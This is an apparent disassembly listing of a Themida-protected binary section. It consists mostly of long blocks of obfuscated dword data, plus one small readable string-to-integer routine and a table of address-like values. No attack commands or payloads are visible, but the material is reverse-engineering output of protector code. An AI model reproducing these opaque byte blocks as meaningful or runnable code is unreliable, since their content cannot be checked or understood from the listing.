		dd 4Ch,	13E8h, 0E6589200h, 27D6C919h, 0DA43927Bh, 2F1E385Fh
		dd 1534356Eh, 25B9958Bh, 0FF5A0628h, 28150995h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 6A67D05Bh, 9D891566h, 628340Dh, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0C45CEFC3h
		dd 8B601DAAh, 282C0DBDh, 852B6006h, 6280B81h, 0BD836161h
		dd 6280149h, 83097500h,	2814C5BDh, 1A740006h, 0C08B5350h
		dd 2E55858Bh, 85890628h, 6282E55h, 0A5C59D8Dh, 0D3FF062Ah
		dd 0BD83585Bh, 62814C5h, 50187400h, 55858B53h, 8906282Eh
		dd 282E5585h, 669D8D06h, 0FF062AA2h, 89585BD3h,	2818498Dh
		dd 2EBB6606h, 6AC08B12h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0F910C353h,	0ABF7369Ah
		dd 0B70F70F1h, 0F19501D6h, 8306282Ch, 281E69BDh, 840F0006h
		dd 480h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 18h,	0FDC35040h, 0E8A44FE0h,	8B0Fh, 9D8B0000h, 62818DDh
		dd 24F5BD83h, 0F020628h, 3984h,	2880F00h, 8A000000h, 0CDBD89D9h
		dd 83062816h, 282381BDh, 850F0106h, 1Eh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 16h, 0A6C35242h, 2960B598h
		dd 2821C985h, 48D8B06h,	6A06284Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FEC2C355h
		dd 55006A01h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 8EE5DCD4h, 0B349FB9Eh, 48DE689Ah, 830F56A8h
		dd 5, 0D98B6651h, 2434815Bh, 56A8485Eh,	2B359503h, 0FF6A0628h
		dd 0CF1958Bh, 95FF0628h, 6282D35h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 94C35747h, 4955C601h, 58C161BBh
		dd 7FBDBA37h, 0F6102F3h, 68Dh, 65B52900h, 8D06280Dh, 280561BDh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BA66E289h, 0BD89D753h, 6281139h, 6A1C4F8Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 313C357h,	8BF8A24Ch, 280C759Dh, 6A016A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 7E86C351h, 7E4CDFF0h, 29E9B87Eh, 281FF9B5h
		dd 66605006h, 0F56B8BFh, 287h, 61D08B00h, 8B240C89h, 28294D95h
		dd 9B858D06h, 0FF062B33h, 0C860FD0h, 0F000000h,	68Eh, 299D8B00h
		dd 8B062825h, 6A204Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0BCD5D8C3h, 6F3EC741h, 9E900E7h
		dd 0B1000000h, 4D6EB782h, 0AEB742AEh, 6A036Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 48ED0DC3h, 0FC8A91F8h, 14E850h, 4A270000h, 0DAE7D9B3h
		dd 0F581F3EBh, 0BC7A3BB7h, 2D62A9Ch, 6060EFE8h,	830F61h
		dd 61000000h, 952B915Ah, 6280F3Dh, 339B858Dh, 0D88B062Bh
		dd 0F38AD0FFh, 561BD8Dh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0F3FAF3C3h, 10E9h, 0F5F52F00h
		dd 0F04414C3h, 71325AE5h, 8B8321EFh, 0BE9A0h, 6EEA0000h
		dd 0FEF9EC0Ah, 457C6157h, 1C4F8B60h, 6A016AF9h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1DA7C352h, 665229DAh, 5B064CBBh, 48E0F50h, 66000000h
		dd 895B85BBh, 9501240Ch, 6282469h, 339B858Dh, 8E8062Bh
		dd 60000000h, 0F62C2BE2h, 8B49245Fh, 0D0FF5ADFh, 0AD9501h
		dd 4F8B0628h, 0B6FC20h,	6A036Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0E8D690C3h, 83C27463h
		dd 660FFCE2h, 0EFC0C381h, 50525050h, 0DE9h, 29F53B00h
		dd 48E95485h, 11463201h, 0F5A3FFEh, 5AD38B31h, 240C8958h
		dd 9E9h, 4071400h, 0C7C0B122h, 858D9DB7h, 62B339Bh, 1A0D8D09h
		dd 0D0FF0628h, 6E6BA66h, 4F048D8Bh, 0CE80628h, 0C5000000h
		dd 893A471Bh, 57AB6DD9h, 0F927204h, 0FE5AD3BFh,	53006A01h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0AB05A1F7h, 0EE628A6Fh, 0B59D8900h, 8B06281Fh, 284F0485h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 68F4BABFh, 816620B1h, 0FE826BE2h, 66016A00h
		dd 796E381h, 0BC99D89h,	4E80628h, 0FF000000h, 56FFFF9Fh
		dd 5060505Bh, 0BE310F52h, 4ECA9502h, 5060585Ah,	5A310F52h
		dd 6185B658h, 24448B61h, 8BD38B04h, 89DF8B00h, 0F042444h
		dd 0E8Ah, 0B2525000h, 50310FB4h, 5A310F52h, 58585A58h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BCC35747h
		dd 0BD8946FAh, 62819F5h, 3CE38166h, 0A5858D08h,	9062B33h
		dd 2813198Dh, 0F5D0FF06h, 1F1BD83h, 0F000628h, 12284h
		dd 0ECBB6600h, 15BD833Eh, 1062824h, 111850Fh, 0E9600000h
		dd 10h,	53B1277Ch, 0D7852A65h, 9C28637Ch, 0BE151CD6h, 8D61DA8Bh
		dd 2B33AF8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0E99D8B41h, 6A062825h, 0DEB70F03h
		dd 8960016Ah, 28224595h, 14E806h, 2FDB0000h, 912617A5h
		dd 43457188h, 0DB188EF7h, 4AFF6AE6h, 0E28145FBh, 5F0A1743h
		dd 0D1FF615Eh, 0ACAD3FBBh, 6A016A23h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0FC2AC353h
		dd 6AF8B8B7h, 6800F91h,	8B000000h, 28168995h, 12E806h
		dd 0C4AF0000h, 0E780E25Fh, 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah
		dd 8E9h, 0F05B2900h, 441EDF32h,	16A5BE2h, 0EE9h, 0E9548500h
		dd 46320148h, 483FFE11h, 0FFF63807h, 50006AD1h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0B63BF345h
		dd 6C15FA05h, 336C16E8h, 0ED9589FAh, 6A06280Bh,	52006A20h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 91E0A90h, 0FF6AE68Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0CAC35141h, 1C5C541h,	0EEA63C85h, 45958B3Ch
		dd 0FF062802h, 282D3595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 5B204320h
		dd 8499279h, 9E9h, 0DF9CBF00h, 0EB4DAD58h, 0B8181Ch, 66000000h
		dd 0EC2FE281h, 840FC00Bh, 24h, 83DFBF0Fh, 282431BDh, 840F0006h
		dd 14h,	6E9h, 34004200h, 0FF500176h, 28047595h,	0DBBF0F06h
		dd 1259858Bh, 0C6F80628h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h
		dd 157A4AC3h, 0E9D68B66h, 14h, 3141FE5Bh, 7F89A874h, 3E079E42h
		dd 5539FFAFh, 3542F4D2h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 52DCEB8Dh, 9D8BE4A7h
		dd 6280F15h, 0F5D98C66h, 2F0D8D89h, 0C1F60628h,	77840F04h
		dd 0B2000000h, 70E9D8h,	33600000h, 28296985h, 319D0906h
		dd 61062826h, 5D1B58Bh,	6A0628h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 7D517CC3h, 8085BB39h
		dd 0C68182E6h, 1180h, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 18h, 0CCC35646h, 7521E98Fh, 2351BD89h, 6C70628h
		dd 0
		dd 0E519D8Bh, 6A5E0628h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 9D67C357h, 8B668CEBh
		dd 0F883D7h, 0B58840Fh,	0D6800000h, 1F88301h, 174850Fh
		dd 80600000h, 958B83F1h, 6282A8Dh, 0B861h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 307D3EC3h, 2A0FEE0Bh, 311BE467h, 2818ED95h, 0FC00B06h
		dd 0E284h, 1D9D2900h, 83062818h, 840F01F8h, 0E6h, 839EDF80h
		dd 840F03F8h, 64h, 840FC02Bh, 1, 0E0BD8DF9h, 6A005B89h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 8A77C353h, 7307999Ah, 0FFDD1AAFh,	55006AE7h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 4322EE34h, 0F4A722AAh, 0F28166C1h, 0C381850Dh, 4AD0AB7Eh
		dd 1B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0FA37854Ah, 8E0F8A2Fh, 5,	0B0F28166h
		dd 0E0BD8D2Dh, 0F005B89h, 0E7FFDABFh, 0EE9h, 0FEA5E400h
		dd 0D431A16Bh, 7B34B337h, 0F868B69h, 0E89h, 958B6000h
		dd 6280E1Dh, 245D9D29h,	8D610628h, 284590BDh, 0F3816606h
		dd 54E90E16h, 66000002h, 85C7D18Bh, 6284F5Fh, 5, 1D699589h
		dd 5B80628h, 0E9000000h, 11h, 8A5A4D42h, 701E336Fh, 27DB770Dh
		dd 0CDCFE126h, 91BE936h, 958B0000h, 6282DB5h, 2BAD9503h
		dd 0F8830628h, 0CC850F02h, 0E8000000h, 0Fh, 7F76BAF4h
		dd 8905CF29h, 828D5252h, 2BBF5DFBh, 2818F195h, 0B85A06h
		dd 50000000h, 1FDBA52h,	5A5B741Bh, 0C00BDA8Ah, 5D840Fh
		dd 0B70F0000h, 1F883D0h, 0FF7C840Fh, 10E9FFFFh,	0E0000000h
		dd 5D83F32Dh, 1B4893B7h, 702DF7F8h, 89E80C62h, 28010195h
		dd 3F88306h, 0FEE2840Fh, 8589FFFFh, 6281711h, 9529C02Bh
		dd 6281D41h, 89E0BD8Dh,	0B70F005Bh, 0E9E7FFD0h,	0Fh, 0FD492175h
		dd 38C47AB3h, 40E72F0Dh, 8D952F8Bh, 284788BDh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0D38166CDh, 0BB666928h, 4CE902BCh, 89000001h, 281E658Dh
		dd 0B9D28106h, 830D05A9h, 850F03F8h, 49h, 2F019501h, 0BD8D0628h
		dd 628491Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	9FC35141h, 0F647170Ch, 58F0FD0h, 66000000h, 5534D281h
		dd 0FAE9h, 51BD8900h, 1062810h,	282DA9B5h, 5F88306h, 11850Fh
		dd 9D8B0000h, 62806B5h,	7D4E9h,	4D9D8B00h, 83062823h, 850F06F8h
		dd 38h,	20D9958Bh, 0BD8D0628h, 6284B14h, 26918589h, 0B4E90628h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 9F16C356h, 0A231677Dh,	0F07F883h
		dd 3A85h, 0D78B6600h, 0BE8h, 0C163A300h, 113154EDh, 43186637h
		dd 13E9h, 27AF5600h, 2123AA8Ah,	0E1E511EFh, 0F09D6ACCh
		dd 0DC55EBA4h, 0D5BD8D5Ah, 8B06282Fh, 0DAE9D7h,	83F50000h
		dd 850F0AF8h, 47h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 41C35343h, 2EB18851h,	0F6F79B8Fh, 0A9958B60h
		dd 0E9062804h, 6, 47D1648Fh, 8D612B40h,	284D0CBDh, 0D88B6606h
		dd 2E9h, 5763B200h, 0E6E8BB66h,	0A323BA66h, 27686B9h, 0DE844h
		dd 0F2290000h, 440122F4h, 2F37200Fh, 5A221981h,	0F003F83h
		dd 3984h, 68B0F00h, 8B000000h, 282EDD95h, 800F3006h, 0B70F80E7h
		dd 51C9D1DBh, 11419531h, 475B0628h, 0DF18501h, 0CDE90628h
		dd 0E9FFFFFFh, 0Ah, 6B829D9Ch, 0AE4CAF35h, 6A5FFDB3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 362FC352h, 8DD03B2h,	0D2BF0F9Ah, 4F08BD89h, 6A0628h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0D3C151C3h, 6EBE774Ah, 6E9C696h, 11000000h, 0EAAA3B07h
		dd 8D8DF8BAh, 6281D91h,	0D59D8B60h, 29062805h, 2824DD95h
		dd 0B5FF6106h, 6282EFDh, 8E8h, 30EB0100h, 0EF95BCE9h, 0BDB58905h
		dd 5B06282Bh, 9F24858Dh, 8D50062Ah, 285650BDh, 0F18D8D06h
		dd 0B8062870h, 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h
		dd 628704Dh, 71098D8Dh,	0CF2B0628h, 0C933A4F3h,	0B8h, 74C00B00h
		dd 31BD8346h, 62824h, 95FF0674h, 6280475h, 4F08B58Bh, 858D0628h
		dd 62A9F24h, 858DD0FFh,	628436Eh, 85C7D0FFh, 62816C9h
		dd 1, 6A1A58Bh,	0B58B0628h, 6281F4Dh, 2D0DAD8Bh, 0C0330628h
		dd 0E8000CC2h, 11h, 5694835Ch, 819D1575h, 43C30A7Fh, 212C4C95h
		dd 7E9E2h, 0D4D00000h, 0C3283044h, 9D895A59h, 62817D9h
		dd 1721BD83h, 0F000628h, 1284h,	81950B00h, 0FF062826h
		dd 28063995h, 69BD8906h, 8306282Fh, 280961BDh, 850F0006h
		dd 1E2h, 2DCFCA81h, 958B60A3h, 6282BCDh, 2415BD83h, 0F010628h
		dd 1C985h, 0F5B53100h, 0F062823h, 687h,	99B58900h, 83062812h
		dd 2822B5BDh, 840F0006h, 1AAh, 2FD19D01h, 0D68B0628h, 4F5BBD83h
		dd 0F000628h, 19584h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0BE3F0482h, 22BD6166h
		dd 0C2BA66F0h, 0DA8166F8h, 858DC56Bh, 62A9F24h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A7C35242h, 39951EBEh
		dd 0BD2945E3h, 6281951h, 4F08B58Bh, 0D38B0628h,	6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B5695C3h, 2585C6DEh, 5406280Dh, 0B70FD88Ah,	0F55468D8h
		dd 5250AB13h, 310FD18Ah, 0F5DDBB66h, 3481585Ah,	5D4BA024h
		dd 52006A54h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0BAC08EAFh, 14E933AAh, 0E3000000h, 0E5D32AC3h
		dd 9A5D8C5Bh, 7DDEF3D2h, 576FAE90h, 0FFC0B558h,	282DD5B5h
		dd 858B6006h, 6281D51h,	5059589h, 8B610628h, 28046D95h
		dd 0BB858D06h, 6A06283Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 4A95C350h, 0C3ABBB66h
		dd 9523D0FFh, 62831E1h,	8BF9006Ah, 56FF6ADAh, 348D9D8Bh
		dd 0B25A0628h, 8BD0FFCCh, 28200195h, 0CDB5FF06h, 6A062810h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0E454C356h, 0FF05C936h, 282EFD95h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 66705119h, 6B5BBB73h, 0B58B7CAAh, 6284F08h, 4019D8Bh
		dd 85010628h, 6282CF9h,	51006AC3h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0DEC0D249h, 59B58BACh
		dd 60062812h, 89D9BF0Fh, 2829599Dh, 0F60B6106h,	9840Fh
		dd 6C60000h, 0D5952900h, 89062821h, 284F1085h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 53ABD350h, 0F8835BF8h, 97840F00h, 0F9000003h, 0B8h
		dd 0BF0F6000h, 0C28166D8h
		dd 8361F793h, 840F00F8h, 0D3h, 0FE8h, 7A3E5800h, 0BBCD72A1h
		dd 7F3250C9h, 9A895DB5h, 26E59D8Bh, 895A0628h, 2800BD85h
		dd 2F88306h, 6C850Fh, 0BD890000h, 6281D25h, 458B858Dh
		dd 6A0628h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0CB82BC3h, 292D40DEh, 66000009h, 8299E381h
		dd 30BA6690h, 0BA6650BEh, 6A90BD57h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3EB8C353h
		dd 6F128CDAh, 0C3F945CBh, 0EB1958Bh, 0B80628h, 0E8000000h
		dd 5, 4ADDE585h, 5BD08B51h, 2D1E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 48A0FABh, 66000000h
		dd 0B8FEE4BBh, 1, 2F519533h, 0BD8D0628h, 6284590h, 0E4E9F8h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 719A72C3h, 0B589EEC7h, 62803CDh, 0F02F883h
		dd 5185h, 6800F00h, 1000000h, 2826C5BDh, 88BD8D06h, 6A062847h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 6122C351h, 0EB806061h, 0DB816606h, 8961B767h
		dd 28177D8Dh, 37BA6606h, 6CE9B7h, 89560000h, 282F5D95h
		dd 0F8835A06h, 40850F03h, 51000000h, 1515958Bh,	8D5A0628h
		dd 28491CBDh, 0D9852906h, 0E9062822h, 42h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 81C35545h, 28F0Fh
		dd 0F9B70000h, 83DE8B66h, 850F05F8h, 12h, 2800Fh, 0D88A0000h
		dd 0ECE9h, 3725BB00h, 665762FCh, 0B9AA92BAh, 44027686h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 52C35242h
		dd 515BF8EFh, 6E9B042h,	50000000h, 60E088EAh, 3F8379h
		dd 0A7840Fh, 8D290000h,	6283405h, 30DFBF0Fh, 19BD890Fh
		dd 0D106281Fh, 55006AC9h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 5F02428h, 0B70F5C74h
		dd 399589DEh, 47062824h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 85C35747h, 0E9FDDD16h, 0Eh, 1E0E834Eh
		dd 59E50A5h, 302644D2h,	0B5899F5Ah, 6282A85h, 0FFFF7CE9h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 9F48275Dh, 3864987Fh, 4F18509h, 8B660628h
		dd 5F883D0h, 0C0850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0F37F80C3h, 74061455h
		dd 66D98C66h, 0F6479BBBh, 850F04C1h, 45h, 9CC38166h, 0B83Eh
		dd 6E80000h, 7A000000h,	0B57AEAEAh, 5D9D8BEAh, 5A06281Fh
		dd 6DE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 89CE12C5h, 2831F1B5h, 81858B06h
		dd 6A06282Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0E9C6C356h, 0Eh, 4C1E57B5h, 8E7FE56Fh
		dd 797AA610h, 0E0FF22D3h, 0C840Fh, 820F0000h, 6, 336ADB81h
		dd 0BD835A8Fh, 6282EFDh, 0D2850F00h, 8B000000h,	2818959Dh
		dd 0D38B5006h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 1A2C352h, 0D2585C6h
		dd 89450628h, 2804B585h, 0A0A66806h, 840F1EC3h,	8, 820F50h
		dd 5B000000h, 0C3240481h, 8A6FAEC8h, 0D5B5FFD0h, 6A06282Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 8DE7C356h, 21952945h, 8D06281Dh, 283BBB85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 2DE624A6h, 0F94B97E9h, 28BBD0FFh, 891415B8h
		dd 282EFD85h, 6E806h, 4ACC0000h, 0D33E63AAh, 5BD98B66h
		dd 9E95758h, 94000000h,	6EB782B1h, 0B742AE4Dh, 5FBD835Ah
		dd 6284Fh, 30840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 150424h, 52420000h, 0FF526AC3h, 2810CDB5h
		dd 95FFF906h, 6282EFDh,	10219D8Bh, 0F8830628h, 0F4850F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 4014C352h, 0B659123Eh,	0C4B8B37Bh
		dd 511BD83h, 0F000628h,	8C84h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 4D17623Dh
		dd 0B5FFE2DDh, 6280511h, 1B8h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0F8DE134h
		dd 3B7FF8D3h, 3401958Bh, 95890628h, 62825E9h, 2A798D29h
		dd 11E90628h, 6A000002h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0E50EC356h,	8959F0A8h
		dd 2802BDB5h, 0CDB5FF06h, 0E8062810h, 0Eh, 5BB02BB6h, 0C1F3AB69h
		dd 6B06959Dh, 38BA7E09h, 5B4FB2FEh, 10CDB5FFh, 0FFF90628h
		dd 282EFDB5h, 0DA816606h, 0B5E9FC70h, 5F000001h, 68E0Fh
		dd 0B5290000h, 62800C1h, 0DE9BD83h, 0F000628h, 0EE85h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8B437EABh, 28029595h, 2585C606h,	4D06280Dh
		dd 6810Fh, 958B0000h, 6282429h,	4E8h, 3576A800h, 5E956A4h
		dd 8C000000h, 0FC11B410h, 6657505Ah, 5A02AEBAh,	424448Bh
		dd 0DE8h, 2B87B300h, 5DE694D3h,	20DCA17Ch, 4CBB8ABAh, 5B50AE0Ah
		dd 4489008Bh, 5A520424h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0CA7A51C3h, 25958BA6h
		dd 0FF062818h, 28174DB5h, 0D9958B06h, 8D062817h, 283BBB85h
		dd 0E9D88B06h, 0Fh, 2F0D38C4h, 2F8B40E7h, 30071095h, 0FF11CF75h
		dd 26E280D0h, 0DE98589h, 13E80628h, 84000000h, 223E5005h
		dd 7390D873h, 6D6CB046h, 0F5B02520h, 0BB66A710h, 0B85BB6C2h
		dd 0
		dd 0BD89D78Ah, 6284F08h, 2D01B589h, 0C00B0628h,	36840Fh
		dd 33570000h, 28036995h, 85E95A06h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0D30CC356h, 0CA9BE4E7h, 958B76FDh, 62807F1h,	2EFDB5FFh
		dd 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 3324F9C3h, 958BCCBDh, 62807FDh, 0E98D8B60h
		dd 6606280Ch, 61917ABEh, 9F24858Dh, 8589062Ah, 6280BF9h
		dd 59BB5790h, 5B5E9227h, 90D88B50h, 68B0Fh, 0D3810000h
		dd 2AEA834Dh, 0BD8D5650h, 6285650h, 7B908D8Dh, 0BCB80628h
		dd 2B748323h, 0D00730CFh, 754947C8h, 83585EF8h,	280511BDh
		dd 6740006h, 4418D8Bh, 0C9330628h, 0B8h, 0FC00B00h, 0A884h
		dd 31BD8300h, 62824h, 95FF0674h, 6280475h, 0B8h, 75C00B00h
		dd 10BD8309h, 106284Fh,	0BD830974h, 6284F10h, 8B0E7502h
		dd 284F08B5h, 24858D06h, 0FF062A9Fh, 21BD83D0h,	62817h
		dd 95FF0674h, 6280639h,	436E858Dh, 0D0FF0628h, 24F5BD83h
		dd 75020628h, 0A1A58B2Fh, 8B062806h, 28051185h,	24048906h
		dd 16C985C7h, 10628h, 0B58B0000h, 6284F0Ch, 2D0DAD8Bh
		dd 1B80628h, 0C2000000h, 0EB000Ch, 16C985C7h, 10628h, 0A58B0000h
		dd 62806A1h, 1F4DB58Bh,	0AD8B0628h, 6282D0Dh, 0CC2C033h
		dd 21BD8300h, 62817h, 0BD830F74h, 6280639h, 0FF067400h
		dd 28063995h, 8B58B06h,	0C306284Fh, 0E8D88B66h,	8, 9793F4A9h
		dd 9BBFE945h, 2B5B75B2h, 2936B2D2h, 2823EDBDh
		db 6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_550FF1
; ---------------------------------------------------------------------------

loc_550FEF:				; CODE XREF: Themida_:00550FF4j
		inc	eax
		inc	edi

loc_550FF1:				; CODE XREF: Themida_:00550FEDj
		cmp	byte ptr [edi],	0
		jnz	short loc_550FEF
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_551020
; ---------------------------------------------------------------------------

loc_550FFD:				; CODE XREF: Themida_:00551022j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_551015
; ---------------------------------------------------------------------------

loc_551012:				; CODE XREF: Themida_:00551018j
		mul	ebx
		dec	esi

loc_551015:				; CODE XREF: Themida_:00551010j
		cmp	esi, 0
		ja	short loc_551012
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_551020:				; CODE XREF: Themida_:00550FFBj
		or	eax, eax
		jnz	short loc_550FFD
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 8D89h
		dd 6283231h, 0ADFBBAFCh, 0C18B1CC3h, 217DAE9h, 2 dup(5C7B3B00h)
		dd 5B003F00h, 5C611802h, 0
		dd 5B002800h, 12FF6C02h, 20200h, 200h, 2 dup(100h), 2C934500h
		dd 0FAh, 4 dup(0)
		dd 55344500h, 5587B400h, 5587D000h, 55AD2F00h, 5523CF00h
		dd 55C9AE00h, 55C7A400h, 55853100h, 557F4800h, 556C2200h
		dd 55512300h, 553F6200h, 551D3300h, 55A12300h, 55CD5900h
		dd 5515D900h, 55CFB400h, 55199C00h, 55777E00h, 55CADA00h
		dd 55606500h, 55260400h, 5566F400h, 558B6A00h, 5564AC00h
		dd 55682700h, 5591FF00h, 553B6C00h, 55137400h, 55D32B00h
		dd 55870100h, 55356700h, 55668000h, 55489500h, 55379800h
		dd 55934500h, 5530A600h, 55CF5A00h, 55242100h, 55B6D600h
		dd 557EDD00h, 55B98F00h, 55CA3C00h, 5563F600h, 55BC1E00h
		dd 55BFDB00h, 552D0200h, 55874400h, 553FD500h, 552C5900h
		dd 55554400h, 55159100h, 55188B00h, 55183800h, 5517C900h
		dd 55C0A500h, 55CFD800h, 55B9E700h, 556F9F00h, 5582DE00h
		dd 5576C000h, 558C6300h, 558C0100h, 55303D00h, 55D13900h
		dd 558CFF00h, 55959500h, 55C11100h, 55B87300h, 5584F800h
		dd 55C6CF00h, 55CA5700h, 55269F00h, 559A0B00h, 559E7200h
		dd 55377600h, 55825800h, 5590F700h, 55AAFA00h, 5595C300h
		dd 55564100h, 55C9E000h, 55140F00h, 553CD600h, 55BF1F00h
		dd 55420D00h, 554B8000h, 55C6C600h, 554EBB00h, 55A54700h
		dd 55417900h, 555F0800h, 5582A000h, 554EB300h, 5591B300h
		dd 55ACCD00h, 554EF800h, 556C0700h, 555F7900h, 55400500h
		dd 5530B000h, 5536AB00h, 55487200h, 55529900h, 55259400h
		dd 55237400h, 557B2800h, 55428200h, 55338A00h, 55A68300h
		dd 552A7D00h, 55C65700h, 5543EA00h, 5520AA00h, 55204F00h
